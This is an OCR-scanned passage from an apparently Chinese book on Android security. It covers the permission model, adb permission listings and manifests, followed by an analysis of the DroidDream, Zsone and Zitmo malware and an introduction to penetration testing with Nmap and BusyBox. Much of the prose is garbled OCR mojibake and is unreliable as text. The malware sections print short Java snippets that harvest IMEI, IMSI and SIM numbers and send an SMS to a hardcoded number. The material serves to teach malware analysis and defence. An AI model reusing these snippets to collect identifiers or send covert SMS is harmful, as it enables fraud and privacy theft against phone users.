android:label="@string/permlab EXP FEATURE”
android:description="@string/permdesc EXP FEATURE”
android:permissionGroup="android.permission-group.

COST _ MONEY”
android:protectionlevel="dangerous”/>

</ma.r.11fest>
LRAESEH, android: name J& 1T R A9 B E SALPRIG AR, LA FF A
VAFE Manifest SC/4FR) < uses- permission > 4525 A 8 F AL FR . android: label &4
WREEZFR, BAaZ . android; description &P T #AR R 4015 B
4n, 44X PR #) android: label & 4 & “ EXPENSIVE FEATURE” Bf, android:
description &M A] LAXFERG IR ZALFR . “ %A BR /14 I AR Py &2 fF 3 SMS {5 2. F0
FEWMMS (58, XSHRrsZd, B ARt 22 /R E ERE]” . android
protectionLevel JEYERE SL T F P b #ETZ AL PR 7T BB A HH A RUBS: G 531 . 76 B 47 28 it o A
AR FR, kb 1,
%4.1 Android HFBHPER

B # 4% 5 ¥ B

BRINGURURRAE, Fo i i PR FF U [l AR SR 23 HoA A AR I . P sl R 4877 A R AL
W AR EH%QJEEIK’JW&%, At P TS 4R AT LAAE R PR e 22 20 i 2 7 B AN PR

SVFRL R PP AT S LE 000, X St v RE £k FHL P SO —SE 0 91 PR SR AR IR 7 #

fak %
e B, AP ER—E R R R XA PR T P R A AR
B4R FUEZ T 1) A B 7 A R o A ) 45 48 42 ) o IR P
5 G AETF Android ZERIFABRF, 35 Android 7 4t /i FHHR F (o FAH [RIIE 45 46 4 A B

B

4T “adb shell pm list permissions-g” #34-REAEFR1G — K BT A R MFISR, &R
AR LA T LR, G 4. 6 R .

i 4.7 Fs, $hAT “adb shell pm list permissions-f” s, AR RAE
SCHI BT A AR 4SS

NP 4. 8 iR, $4T “adb shell pm list permissions-s” @4, A LLEAR HHIZE B

& b PR A AR
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pentestusrl®tools-gibbons-vm-2:~8 adb shell pm list permissions -g
All Permissic

group:android. permission-group . DEVELOPMENT _TOOLS
perr on:android.permission.SIGNAL PERSISTENT _PROCESSES
permission: er ion. SET_ALWAYS_FINISH
on & sion.SET_DEBUG_APP
1 old.permission. SET_PROCESS_LIMIT

mission-group. PE‘(;«ML INFO

Lon . WRITE_HISTORY_BOOKMARKS
ermission. BIND APPWIDGET

1, NRITE LALENJAR
sion, DUMP
ission.WRITE_USER_DICT IONARY

01d.permission-group . COST_MONEY
perm wirotd.permissian.SEND_SMS
pers on.android.permission , CALL . PHONE

oup: android. permission-group, LOCATION
d.permission, ACCESS_LOCATION_EXTRA_COMMANDS

permission ACCESS_COARSE_LOCATION
android. permission, ACCESS_FINE_LOCATION

.permission-group . MESSAGES
3 ) L

S
On . READ_ATTACHMENT
VE_SMS
CETVE_RAR_PUSH

4.6 Android AR (HER)

4.3.2 NMRAEEH

EARBE, Linux WECRFTA BN R F ML, JF@ s UID 5 GID AFR
VUt R G L 2. FAT, Android N7 FHFE AT EZHIMIAR, A Mt
&, A BETE Android R4 L %%, FIAMMARERF, Tibk Java BIF. AHRGRE
Fridf& Java FIASHIACRDIR Z4F2 7, 7€ Android R4 - ERiE o [F#RE I XU FE 1k .

Xf F—LEJREAFR, Android R4 TEE K AH I A AL PR =74 28 B 51 B BB 4% iy 1] %if 7
THEERIRFLH . BN, 57 HIF2FF B 3F android. permission. INTERNET A FR % 3K i) [a] &
HRRIRS, FHFAEHERS , Android ZRGTKHZN AR A inet BEZH. AL inet BELH AL
GfE, DA H BN R AR, X8 EE 3¢ R E L AE/ system/ ete/ platform-
xml/ B 5% F i platform. xml SCIFR . EZAIHIAFR H Android REEEZFTATBEITLIE
XfF Android [ FHFRFFHRUL, THK AU PR AR EE H TS 22 F P BAUIAUR 2.,

/system/ete/ platform- xml 4 E X TIRE RS H P ID 584 1D [F45F & B9ALR



% 4 % Android 244

K 4.7 #$hfr “adb shell pm list permissions-f” #4457

pentestusr1®tools-gibbons-vm-Z:~% adb shell pe list permissions -5
il Permissions
e

Development tools: send Linux signals to opplicotions, make noll bockground opplicotions close, enohle application debugging, limit number of running ¢

olr personol information: read user defined dictionary, write contact dota, write Browser's history ond bookmarks, choose widgets, read Bromser's hist

pookmarks, set alorw in clomw ik, read sensitive log dato, read contoct dota, read calendar events, odd or modify calendor events and send emol
PeErieve syastesm (nternal state, weite 0 user defired dictionary
Servicds that cost you money: send SMS messoges, directly call phone nusbers

Your locotion: motk locotion sources for testing, ccckss extra location provider commands, coarse (network-based) location, fine (GPS

Your sessoges: send SMS-received broadoast, send WARLPUSH. recelved broadeost, edit SMS or MMS, reod SMS or MMS, Reod Email attact
P, réceive WS

jans, v state, full Internct access, download Files without notif

gtor, moncge the account

y modify phone stote, intercept outguing calls
g: control Flashlight, test haraware, toke pictures ond videos, record audio, change your

nternal storeg

Syster tools: ollow BLFL Multicast reception, delets all application cache dato, get information orn
ons, kKill backgn

tion clwoys run, chonge background dota usatie setting, uminstall shortouts, force stop other opplicat
po 1ist permissi,
pertestusc ool s -gilbbons < vm- 2§

F4.8 #h47 “adb shell pm list permissions-s” S BN
ZIE ML C R, W 4.9 Fis.

BN, SFAERF “Foobar” T iiin) LK, f ELAEHSIEE SMS Fl MMS 5
PRI, 208 IR A AR 755 BT A ] 4. 10 BT o

<uses-permission android:name="android.permission.INTERNET” />
<uses-permission android:name="android.permission.READ _ SMs” />
<uses-permission android:name="android.permission.READ _ MMS” />
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<permissions>

tags are associating low-level group IDs
B8y specifying such a mapping, yo
ion process granted the given permis
the given group ID attac
filesystem (read, wfl*e,

nission nome="android.permission . INTERNET® >
sgroup gid="inet"
</permission>

E[ 4.9 android: permission. INTERNET #¢fi[A] GID inet B LB 36 2R

ta/opp/com.mi. {Calendar-1.opk™ notivelibraryPathe"/dota/data/com.m}. iCalendar/1ib" £1
‘10036°>

030 3079102020444259eb CI0DNNGAI2aBE48 561 78401 01050500 3043
uo‘c 31 (‘GW\MQSQ\&% 13824040 *lmiﬂWB‘Sﬂ"ﬂi 1302 4:}‘01«

O_PHONE_STATEY />
WALLPAPER" />

n  RESTART_PAC \(F

P 4.10 i HIF2FF Foobar fT s 4B

I FHEF Foobar Z24ERT, ZR&Gr4ifla] FH F & St AR A _E R iasRAR . F
PHEHESS, Android 240 AE platform. xml {4 #r#8 “android; permission. INTERNET”
PRFEAFER SR GID, /i F R AR AN inet GID A GBI B 1R A7 R ALFR
PRENZAURXS R AG GID f5, Bz IR PRI A inet GID, AT SE BN B HX R 64177
[a], *§F android. permission. READ_SMS #| android. permission. READ_MMS X 2852 A1 /Y
PR, T Android AW PR BEAR A E % 0 FHFR & B A ST A L A $5 4 .

Eiﬁ%l: WA T AR 9 Manifest XML 34, Manifest XML 3C{4 5 F7E
T &N 4% B8 Android apk SC{ET, X FEAERAERSL E AN R FRG,
ﬁﬂﬁﬁ,uﬁﬁﬁfhﬁﬁﬂl‘ﬁ HURE O A R & R4t b/ data/system H R F £ packa-
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ges. xml 3C{F, W& 4. 11 fizw,

Fl4.11 B 23N R BTG AR

a2 ARG HATAR IS UE Y1 524

® i R FF A THY o

® )i R P AT A B D RERY

® i FHARFF i3 shi A ALY Activity i,

® i HF2 7 Ak B4 Y8 % Intent B,

® iJj |0 5 B #r Content Provider ( NZ42{LE88) A,
® i FR O 2 iRk 55

4.4 BHBERSEE

FHAGR shEE R4 —FE, Android Z 45t £ il 57 45 Fh 4% i 42 4 [a) 751 6 Jali Jilk o
T EHS A L (] B T T A 1R s T A ER AR W UL, I A JRBR T Android &
G, Hrh—sbmitie e Sk & b, AEICACHAR, At Y — 2 ) BRI AR
X TR E.

4.4.1 &%

BEAELFI. EHEFIHIZA, XERER K EHMBAMBRRRES.
(A RETFHL (40 Android FHL) KR RMAR, XFREHS IR FEE
HEZHEL, .

® B ahi & b AFE I B IR

® [ 2% 55 Facebook . Twitter, Youtube . Flickr 254132 Rk,

® BITKS(EE .

® i/ &l GPS if3%.

® - ARG R
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RSB INE, BREERAETEFBGEME B ERAXE . i,
FHlLEEERK E, TLLEIRE TR (InSFBUESRM) $RBRFHLEm e EdE .

4.4.2 imiREF

ARHERT, Android RGFH MK MIRALR 3.2, KM, HATKZSHEED
SRiZFTE Android 1.5 ~2. 3 Z A& ARA, Hr2.2 f12.3 lRARBGFAR ERM
Android RGEMRAS, MH, XEEFH) Android REFEHNHAREHEE] BT
ARy, B, RMERAXTHRE R G NIRRT R R . AT —, TEA
BHERT, BAFR iPhone R4 HA 10S 3 F110S 4 BIMpA .

4.4.3 SPERTEGE

{5 FH T 4 4R B S0 BB A7 ik 2 18 Bt 2 2 XU, 32K SD R E itk FHLE &
5o REHIEHLT, SD K EMBEAHEREMER, EHEZTEANPRBA
Wk, ME, SD REFES N IRE EMEMBBAAM, FEMN 7 EEE TR
WP R . FE, AR T eSS . A 5 AR AR AR

4.4.4 §HE

B — R TR DR, (ENZ2TRNMAERE, BT
EEEFRNELEE . THEKE FmbETEAREEMARREE, &4
“FHEC" HIREEAREER AL BIR M AR FL . R AR il B A
B R A e IR RE S B s B L, AR T AT S B2 DU R LR B S0P 2 15
GHRP, RESTUATN. £2, MAFAREERF LB T RESURE RS )
Wit o1 U B o

4.4.5 HIEFSFA

Google #i [ & Android %% FRIRATHIN ARERFZ —, IFZH AN HEFRED
5 Google #EIZZ H., (] Google 2L A P LB IFE. RE, HXEFBFMEE
HOBREF T, g, 3 845 8 m AP BT s dh i i om ek Tk
B BE, XFPLHNZSKRERE, BABARERERYN TR A REIRBGX L7
BEE. —EmEE, BdETER G0 GPS BRER AN IR X L8 800 5t RE 18 7
AR P A BRI E B .

4.4.6 NAEFRSE
X TFAESE ) . 524569 IT (Information Technology, f&EHAR) N HfRF, #

© AR, f8E R HBHRE SRR B ek, —R&EE
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BN ABFERS PSS . B TRNEENEIRR S, EENBEFR, 0 SQL
HEA (SQL Inject, SQLi) , #5ufi S th1E1H>K ( Cross-Site Request Forgery, XSRF),
B A (Cross-Site Scripting, XSS) FXEMUSTER DT &M HAEF LH
B, EEAARETA L E I ER R d. Bohi& L554LAY SSL (Secure Sockets
Layer, Z2EHRE) TREsNFBRSFER S, 1R 7] 68 5208 3 b F 2 i & Fh
EIR R St BIAIE, DA S 21 B S B 7 A B

4.4.7 HEBKHY

GSM = CDMA il Z0GE(F B A 0 R Z S 2 F R B A Hud Besh, Xeis
WAHEEARAZ B L2, RESZRNEXLE TGO EM (Fa, R
HIHSF) . MH, WMASKFRENREKBTXEERNIKENG, FXLE, RE
HAUIS AR R A X Lo B AURD Y LR e . Bk, FE—ENEL2RE.

4.5 FHITEH Android EF I HEH

2011 4£3 A —F, —2%44 A “DroidDream” [ EE #4284 T Android 24
F&. 5i0S RGEMHLL, Android REFE ML, FE, Android R4 EHIN TS
BURWARXS FEMS . Google WA XN T & AT ™ FAEEE, £2,
ANEFIER R EIIBFEXS Android B4 (1) % A BB T PR . Android [ FI%K 4 W] LA
LA FEERG, .

® 577 Android i {13, B Google A /] AA KN FFRF T %,

® — % Android T3, 40 Shafhas,

® X3 ALY Android [ FH TSRS FHAR FF R L, dneb ok A5 [ P9 B9 R TR

® E 3% P R apk U R M

FFH A A% B4, 0 Geinimi, HongTouTou %, DroidDream [ 8 E
ABIRUA BRI AR . o F— B #4251 Android 7 i 55 T #H 5L
A, 53 8 QMR & E TR ARG

BB R SR LI, Google /A 7R —F A W HotEHE, BIE T M ER
e, B & I EERAME, B, xR s EAKE
50 # R FF R S B 4K 14 . DroidDream B FL75 i Al % 4K 45 SRk A P 1 B A
&R, HEIRE root AR, 1054 A0 TAT A MU R A 304 o A
R FHI% 5, &4 Google & “MYOURNET” SCHETF i,

4.5.1 DroidDream ZFF2F 9

AT AT SO BT, AT 555 T R (P A A R A E B R o
BB T RS b, AR SRR, 0 4. 12 B
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‘ SEREAM{E B : zsone (iMatch, iCalendary)
| X% R VQY 2t ® )
{ |
(Croe [omin | oo
| 2 zsone (iMatch, iCelendar and others) ;
| TR AR Trojan |
Hit XA All around
A 5 :
REA M 11.05.2011 j
WSk B b 11.05.2011 ‘

!
|
XFCERRFRRB AL AP AAF, BIRTRESMSH(E B . EHILTEM, SMEMEFREE &R, 0 '
iMatchs iCalendar®. ZHAMEIE, BB, MEALTHP ETITESRIRS. @dE RS
RESMSHI(ER, HEhB PR, (P A il 5. SMSHE({E BT %M
|
)

& AR B £ Google A Android i i i 5 E B Bk
F P AT A AV GRS s R 2% 38 9 (R 0 - B i S o -

E4.12 FEZEHAM DroidDream iR HIAURC

AT EEABE R UE S, ZEERFILIER T =FMFR: READ_PHONE_

STATE, SET_WALLPAPER #1 INTERNET,

<perms>
<item name="android.permission.READ _PHONE _STATE” />

<item name="android.permission.SET _WALLPAPER” />
<item name="android.permission.INTERNET” />
</perms>

MIER B X LA R FoRE, N AR FER— KRR, AW, &N
FH AR i A8 2y [a] F LR A . BA FYLRE U5 R4 PR A9 B F 72 BE 8 FR BT i
fGE:

® IMEI i3° (#fRi%4% ID) .

® Hiii 5,

® SIM K735,

® iR 5IRS (IMSI)

TR ARG B RE S N AR R AR IS R TR AR B

© il #I38 | #Y/ data/system/ packages. xml ({4, #EF DroidDream L FHilR MR G R . —F$E

@ IMEI (Interational Mobile Equipment Identity, [EFR#ENZFHIRAG) B—A15 ~17 A¥FH R H
FHE, ATFHE—-IFRAMYE EMFahiRE, BdiZH S, BB ENREL LHARERNREE
FARR % . — AT
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TelephonyManager telephonyManager =(TelephonyManager)
getSystemService(Context . TELEPHONY SERVICE);

String IMEI NUM = telephonyManager.getDeviceId();
String Phone NUM = telephonyManager.getLinelNumber();
String IMSI NUM = telephonyManager.getSubscriberId();
String SIM NUM = telephonyManager.getSimSerialNumber();

EEETFRE FRREFER, SR &KX (s 8 KA AR RSfe. 25T
A Android REEEE RITILESET XM, BB TFREEEFRE T A —1EEK
PR android. permission. INTERNET, %AW FR AT LASFE 7 [RANH IS A 42

4.5.2 Zsone FHLAKSEF S

TPk, KA 12K “Zsone” MFIARDGRET, ZADRFHEAT
AEIRZFhE B S, 0 iCalendar, iMatch 45, Zsone FHLA D FEF 4 BLAE 2011 48
27 ERWALHP iF &% SMS {5 8., [6 DroidDream A L F2F—4E, Zsone F
HLA T B B 23 Google 2 7M. Android R RIS MM.

MBS T Zsone AR SHARFF I H 3 B AR A ARED A M ml L, i R AR P id K
REUF FIALFR -

<item name="android.permission.READ _PHONE _STATE” />

<item name="android.permission.SET _ WALLPAPER” />

<item name="android.permission.SEND _SMS” />

<item name="android.permission.WRITE _EXTERNAL STORAGE” />
<item name="android.permission.INTERNET” />

<item name="android.permission.RECEIVE _SMS” />

<item name="android.permission.ACCESS COARSE _ LOCATION” />
<item name="android.permission.RESTART _ PACKAGES” />

4N 4. 13 Fis, ZBLFRRFEESR X LA R B A — A~ 54 5 — 3K B B
FPRLA IDIREARDG . 2 b, BT A LA SRR T RO Th Bk, AN iiofn &% SMS {5
B REETFIEEHS D 8 Wi-Fi O ERFE, USRI EREFI6E,
#EIZ R RF 2 —FCR S, TR B UL TN R T
A, BRI %% SMS 15 B HIZhEE .

SmsManager smgr = SmsManager.getDefault();

String destNum = “5553342234";

String smsString = “Your phone has been Pwnd”;
smgr.sendTextMessage(destNum,null,smsString,null,null);

4.5.3 Zitmo FHAKSEFES

4, KREBERBATEMEL T FHUERAT IR M. B, ﬁ%ﬁ#ﬂﬁiﬂﬁ
—NEAE, BN P4 A TSI E P B, I EL ARV P B T LR AT
B, BEAMIEE. 5 H TR NTE Iy SRS 5 W, A i e
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om.mj.1Calendar” codePath="/data/app/com.mj.1Calendar-1,0pk™ nativelibraryPath="/data/data/com.m]. iCalendar/110"
1320dfdf7d8" it="132adfdfa58" ut="132adfdfaS8" version«"2" userld="10036">

5" Kkey="308202153082017eadd302010202044d259ebc 3000060920864 886 7000101050500304e310b300906035584061 30238363100300906
3483100309306035504071302434231003009060355848a1 30240403 10030030603 550400 130244403 18b300906035504031 302444030201 7043
131 ﬂﬂ 13936313035313438501801323131303132313331303531343050304c3100300906035504061 3023836310030090603550408 130253483 1003009960355

‘Hh EXTERNAL _STORAGE"
NTERNE >
ECEIVE_SMS" />
md"nd perm n.ACCESS_COARSE_LOCATION" />
ndroid. permission. RESTART_PACKAGES™ />

B 4. 13 B Zsone R AIALRC

fit, MITM (Man In The Middle, A A) HKHFHtSTRESETR, BHEE
RRANEINEA R B THREHP K-S FEESN, S SRS T P T

RIE—FZNERNS ~6 LEFH—KM PIN B, EAZENMESERN—F 5,
AT 5 6 s FH P B B A7

Android R4t E#Y Zitmo A I F2 - REGE 8 1 12 4
AT RIELE R P FHLE S UEAS R 5 O R XUE A
IEMLA, 2010 49 H, X i bk # i K WA
Symbian 24t FS— KA. HE, ECEITIHR 0000-0000-0000-000
Y Android #fERSGE. HA L, Zeus KT B F%
WEARDFEFFIESR, YHPNRE SH Zeus REHE
BN, RES%ZF Zeus KD RYL, HBh4ed
Zeus RE T HAL, Zeus A5 T BAREEHTHEH T
BOMIEIES, ZiEB2WNEIMESBRIE —ZF. Z
&, % Zitmo FHIA LR FE=HEOF o7 BURAT AX
25 H P 22 5 852 A5G HIERY  ( Transaction Authentication _
Number, TAN) %{7, FHHHIRMATGEE, MMBIREINBIRRE 2,

EERAIEE D hEE 2 N “ Trusteer Rapport” FYN FHFEF, WA 4. 14 fiR.

[®l4.14 Android &% |
i) Zitmo LI {F

©  EEELAS |/ data/system/ packages. xml S, #EF Zsone I FHTH R BIALR (5 L.

© MITM (Man In The Middle, HEJA) FhR—F “E#EE" QARKE, XFpscdRCR & FH
AR F Bk 2 AR E ] 69— 6 H RALE U R 7 R 45 E B P R Sl E L2 8, X AR AL
Frdg “HIEIA" . TS, FFE A MITM Bk i 2 i ad 40 0 A Y IS 46538 (5 200, 9 b A7 SR 3t ac
R, TR AR . BT, MITM BGER 00 R . e, /35 2 5A R
B B Rt —Fhk o L, ——F#
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T LA “com. systemsecurity6. gms” BN HEFRZREHPGEE, ©EERE E,
X F— R PR, ARMERFIZ 4 1N R R S B .

feilas bR sha) shell 2 EHAT “ps” @4, @irﬂ?ﬁ“"ﬁﬁﬁﬁf g,
& 4. 15 fix. MESRE L, SEEEM Zitmo {# ] “ com. systemsecurity6. gms”
BAEBETERE L.

root 23 P @ 0 c004bZ2c4 00000000 S kstriped

root 24 2z 0} %} c0B4bZc4 00000000 S hid_compat

root 25 2 9 0 c@04b2c4 00000000 S rpciod/@

root 26 pa 5} %] c@19d16c 00000000 S mmcqd

root 27 1 248 152  c@09%74c 0000875c S /sbin/ueventd

system 28 1 804 276  c@1a9404 afddbbfc S /system/bin/servicemanager
root 29 1 3864 592 ffffffff afd@bdac S /system/bin/vold

root 30 1 3836 560 ffffffff afdobdac S /system/bin/netd

root 31 1 064 264  c@1b52b4 afd@c@cc S /system/bin/debuggerd
radio 32 1 5396 700 ffffffff afdobdac S /system/bin/rild

roat 33 1 74072 27136 c@@8b74c afddbB844 S zygote

media 34 1 17996 3768 ffffffff afd@bbfc S /system/bin/mediaserver
root 35 1 812 344 cD2181f4 afd@baSc S /system/bin/installd
keystore 36 1 1744 432 ¢cQ1b52b4 afd@c@cc S /system/bin/keystore
root 38 1 824 340  cO@b8fec afd@c51c S /system/bin/gemud

shell 49 1 732 312 c@158ebd afd@b45c S /system/bin/sh

root 41 1 3368 172 ffffffff 00008294 S /sbin/adbd

system 61 33 136736 40448 ffffffff afdeb6fc
app_4 116 33 86108 22800 ffffffff afdocSlc
radio 120 33 99176 24460 ffffffff afd@cSlc
system 123 .. 33 86620 25880 ffffffff afdécSlc
app_13 142 33 95416 32232 ffffffff afd@cSlc
system 159 33 86660 21400 ffffffff afd@cSic
app_6 180 33 93752 26352 ffffffff afddcSlc
app_19 189 ° - 38 84312 21352 ffffffff afdocSlc
app_24 201 33 82976 19968 ffffffff afdocSic
app_5 214 33 83528 20456 ffffffff afddcSic
app_2 225 33 84912 20960 ffffffff afddcSic
app_0 233 33 86488 22432 ffffffff afdocSic
app_15 244 33 95608 21728 ffffffff afddcSlc
opp_28 266 33 85976 22892 ffffffff afddcSlc
app._3 347 33 83949 20084 ffffffff afd@cSlc
app_9 358 33 82896 19632 ffffffff afdecSlc

system_server
jp.co.omronsoft.openwnn
com.android.phone
com.android.systemui
com.android. launcher
com.android.settings
android.process.acore
com.android.deskclock
com.android.protips
com.android.music
com,android.quicksearchbox
android.process.media
com.android.mms
com.android.email
com.android.defcontainer
com. Svox.pico

AULmULmumurmumuvmumumumumnnuruurururnnuuuvLuLnuLLBnLvLnnUneuununnon

root 4900 41 732 348  c003da38 afddc3ac S /system/bin/sh
app_38 492 33 83212 20696 ffffffff afd@cSlc S com.systemsecurity6.gms
roat 410 400 888 324 00000000 afddb4Sc R ps

¢ B

Fl4.15 ps At @R (A0 Zitmo IE7EIZT

e 4. 16 fw, BEBAF Zitmo R ABRANT :
<item name="android.permission.READ _ PHONE _ STATE” />
<item name="android.permission.INTERNET” />
<item name="android.permission.RECEIVE _ SMS” />

READ_PHONE_STATE A2 {7 FH ¢ 7T 1A 3K 4% IMEL 75, SIM i, LAB Al

AFIRFHLAOSEE . RECEIVE_SMS AURR (L A5 PR ARAT I3 3% 1952 5 BEAL
Bﬁu‘EE,  EGTHAE 5 B E RS, % R ¢ B P INTERNET AR PR JE A
Yt R4 545%] (Command and Control, C&C) Hhlse
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<pockage nases"com.systemsecurityb, gms” codePoth~"/dato/opp/com. systemsecurityG.gns-1.apk" nativelibroryPathe"/data/doto/com, systems
ecurityb. ps/l‘lb flags="@" Ft="132FicelbZB" tt="132flcelf57" ut="132f1celf57" version="1" userld="10038">
<sigs count=“1">

<cert index="6" key«"39820107328201100003020127020441402540632000609208648861 70001012505003018311639140603550480130d54727573746565722
BAC 74642030121 70031313035323931373339393256178433363035323231373339303250301831163014060355040513005472757374656572204c 7464223081973
02a060920B644867C00101019500938 18400308189028181000ecc3220215600391e114767 18714935367 faf 3ecc4eF320aZoebbcBc7Palecebs fEe3BZ16eBb29c2
AdufcetSaddee?7529b26774026dafBdfefad@c7 eb@bddbcSbansfalfdi@28fha5983dn3vbdeef6cb76396698cA73bo450064481146915378213112d52492e520434
£35b30d099bB41c2b684 F56c62180301d007 F4ab393020301000130000622aBB48 861 7840101850500038 15 1209804490¢ FE62 FR6a8aebbef§5041513648101e679
cbIBECES479B08E64 Faed9h387034560309800 F 4498 FHa2440dCcarIbSRCFRS5RA7S@54334457 706048457 cdbalebB588af3u13370@083a061766edoRe lce38ed2f
#95eeeb93c524237234948635c103Rdc FAdd 16808 f22eaca3IeBFf37e6327Rabb7990292@c 738138466 />
~/s1g5>
<perms>
<item names"gndroid,permission,READ_PHONE_STATE" />
<item name="android.permission, INTERNET" /»
<item name="andro{d.permission.RECEIVE_SMS™ />
</pernsy
«w/nocknnes

& 4.16 Zitmo FLfR

4.6 NG

ARENG T Android ZLEBPAZEFMNHE, BdAFERNES, EENIZ
AEAZFEMH Android RET YNl A Linux NZEfT R TR T 2ER, HIK, A&
WA T Manifest #UFR, FHMLLMWE XAMAE, i8IE T Manifest £ FR%F Android
MHARFREEN. K, AEER TREINZENLSER, BEHFER Android £
RGP ENBINER. Ba, KES T IILECEERM, ﬁTTﬁﬂﬁ%ﬂ‘%’kH
BR X TR P 2T 2 T o



5%  Android i% & it

AT ERRKE Android RGEF & ML HRF B EN K. HEANABEN
B AN ERAE Android #RAE R GEANTT (F RATF, SAEXS Android N FIFR P i AT
BEMK, 4TS Android I HIFEFF %L 2R, EARRLRAT, iH8ILAHERT
BOFTRmIE (INEAEES) MARGBAMNE, &5, BaAJLAEHHIAT Android
N R P % 22 [l

B AT JLEMANG, & NZX Android RZEMK R (552 ENEHN
%) . Android i R FFRERI AR (ANFORRA 1 . HEZRSE, 25 3 EARMNE), U
J Android USRI L 2R (55 4 ENLINE) HBERAET.

5.1 Z&EMK

Z &M (Penetration Test) , thA[FRKA pen Jiik, B—Ffi B AR MINE
Wife, WA RGL LN, BRREESEGES R /i BB E X L
[, —MAEN R R AR Z i e T, TRk n 22t sR7ER
PR Z I, 8 DR PR A TR TR A . TR o 2 s ER A 4T AT LAAE Rt
Bz &R, BB T, #ESIN Y R &4 B (Software Develop-
ment Life Cycle, SDLC) M)—#f45r, TEABSMIKZ AT T, WMREBENXZ
ATEATRRS ST, UAT DAFE R 7= d T e S e 2 A IE R B A (1R, AT A R 2
BEMRE BT RIAMEE, X, MREEPFEREIRIRE IS, SRR H
R ONCIRCA: R vl N7 S VN (131 Wt B 0 om0

W RIFBAUMR AN ALE , "B &R W2 ARt #
FRA N E EEX A ERINTEE B, HETEENRA B AT, LAKKE
Android #21E 2 e FNE % a5 B A A A TR AT HE A

5.1.1 4SpEREENR

HINERIE B I SR 2 b 22 AWt A B 7E R 45 A % R GE AT RO, DA B
(CHREA RSB . Al %% th A2 B K AR A7, XL kI B ACL (Access
Control List, FI4¥I5122) TheE, BEMERLIEAZH0H OBMANEIR ., ESNEEE
Wik, A4 22 IR A B 95 B R4 URL A1 TP Mk, 3F BT 4H#RE E i
it A A {6 B 22 T L s AR S ) 5 A B RS , i R BEL LR T X
248 O, AT SEL L 3k S (L 37 K i A 0 2R G o T A B
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pilan, Zad root LAY Android B 7E 850 ¥ iz AT — MRS . 8 W By K EE
BB S 120w P, LMRIPTEZIR O EEfThIIRS . XFE, SMBRBEN
ST 2% 1 EisfT 8RS . SR, ANSRZ 5 root #bFEAY Android 1% & 7E
80 ¥ 24T httpd fR55-4%, MIEBISPEREENA, R AT s A BAE 80 v O ListT
(9 httpd iz 55, R A B ki i 80 i LSRR R Z5 5 0]

5.1.2 AEEEMR

B kEETCHEERR IE RS E I (G SR 7 B AR R G5 M B 4 B k55 i =1
SOFAT AN IR E MG R E ) o B, X FREBSENERckw, RERA
RS (Flan, FWAERAE IP It RSEE) BE BN HEEAES .

4kSE L) root AbIE T Y Android %4 R, (HIRFEIZIZ 1Y 850 ¥ O Bz TR —
MR- HTFPABEE GRS IERFBENK, ik FEEMEA AR, @il
WHERE BEIHAARA 7T RE & F im0 RAEH BTk S . AT, %R 45 1E R H At
WEAMATEGR, BRI 2%,

WRIEUAEN L, RAREENRAEL, WHEEENKES EIE LA ).
SN B T XA — AL NPT E AV R RGN &, R, XIf
AEWREATPBEN KX KA R EHAEE, WA AR X A&, i
B, SNHTE &R AT REA] A X 2 () 1 & i AT Bl R ey, R X e e AR X —
KIEEBH—H . MXAE X ki, PR, XHEMBE S TRE N
T,

5.1.3 ZEMNRTE

[RATIE R 7 AT A S8 MR P AT A0 2 . NIST 800- 115 F1 OSSTMM 3k &
XIS SR OB . AT BB IERR, AT AR R TR — 1
HBE, AFALENMENE SRR, FARTE AT R M BN, LK.

B 938 IR ACECRT A2 R AR PO~ B B

1) FiR: BhEscnt BbR, REGHEHER R,

2) REL: FBERGE, G IP ik, KEAGER. RA&GE (WEEER
GihRA) . PR, UREIRERER%.

3) dik: RFHE2 BENGER, WERAFERFNORS. NHARFUL
BAREE, AR DB, REFE 2, PR L RETE .

4) R4 RIBVEAL, KA BLAO ) B B R M SR T B, &
JRUBSE . o 45 IR A B AR RS o RIS, 45 B A b Fn s SR S SR L AR A F

5.1.4 FESoHh
SRR FREMR, HEEXNFZ2MWHA KR, HFEME—1EE
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BT B, TR A B RAE ST S A, SRR R R
FEFELERIET, SRR 2 %A, T S AT IS % S AR
8, RIRELAEAERACRIE, B0 T BRI RTF AT, (SEhH
AR AHTE S, AR R 6P B AR, F LR — U e 0 22 4 (1SS
g ERATN, W AT IR, SRR AT TR
e N\ SR SRR B, (TR G S S A ERAR/ B 9 405 BOARS, B Ik U AT
B th I A I TS _

Xt F Android REEMIE , A LB BRI SV B4ER G
FIRF (ABAEREIER, £ 6 IERM% 4 0 B 5% H ) .

5.1.5 Android ZZMiZEFEEMNI TR

5t F B KZHH Android &KL, —MFEEMREHE, ZRERELT
root L, root AbFH T %4 AT HE M I 5E 2 A9 % & W, B A P RBEE LR FHAYAY
BRIz fT R AR, JF Bk & taE e A 4R T AR #51%E Android 2%, RIAF, 47
#fr Android $21E RS8R B SAFER RS, X FHifR Android R4t %4t ZR
AN, REXTFEAERNZIRMEF RG SR ESHNENES . s, T
AN RORGE, 4LA AR A & MGEE R N E 2T E, X
A LU R ARV R 45 Ei a0 i, MBI & LA e v BEIE ST, RERS
S B AT HE— 2 BIR AR

1) #FHL Android % & /Y IP Ml

2) EfT NMAPC AT, &F Binik& LisfrmmRks .

3) MATEERA (MNZeid root KEFRAIEA ), (i Wireshark KEUFAMT 4 L.

4) IEIARIEZBEAIR, {fHE W BusyBox T HARA RGN EITREL (40
PR IEAEIZITAE) , AR HEFTSE 5,

5) XHBIERGRE RS RIS T . TR ARSI EET fidk
HERGFRED, 40 HTC %, RS2 26T F LRSI R a AT . WEURMER . =455
i, e, AR TR A, iR RS e A A A Rl

6) 2 e E SO AT R 75 o B SO 2 T A LA A A, T R
MESEEXE,

5.2 Android ZENiX TE

B4 Android RGEAER b B T — HIfIA0 shell BLFF, (B4R SWIAAR

O NMAP, R %4 F S T RO (T 0 5 B P 4 A 0 TS, R B F AR AR S
MRS, SR A LA . —— R
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FEPELZEBH, X shell BFTEHELL2MEAARMFT R, HFX—MRH,
WA 53 AT LA A At B JLAR T EORf# ok, fil4n Nmap: M4&HEH#i8% . Wireshark.
PZEIRIERS, LK BusyBox: #réfT (QNMI#A4T “ifconfig” #54>) HEMTE. XtF
MR Gk, BusyBox 23X JLAS T HE A& A,

5.2.1 Nmap

MRBRAE VIR EE T, RREFRFE Android &ML, HhEf, ATLAE
Nmap Hftigr. Nmap $f#ias BEBX 152/ IP #iik B B[R (SYN), EHR#ERE
RS RSCRAE BFMARNGEER, WES. 1 fn, ZEBEREREEITHFOR
A (SfEswm H EEfTiiRss ), FILIEiEFR A 5Ci% Android IREHA HEE. A
o, —BEFETTFRm O, BUaT A2 O S8 #E— 2 i3RI .

i > (¢} Anmol — bash — 80x24 - o
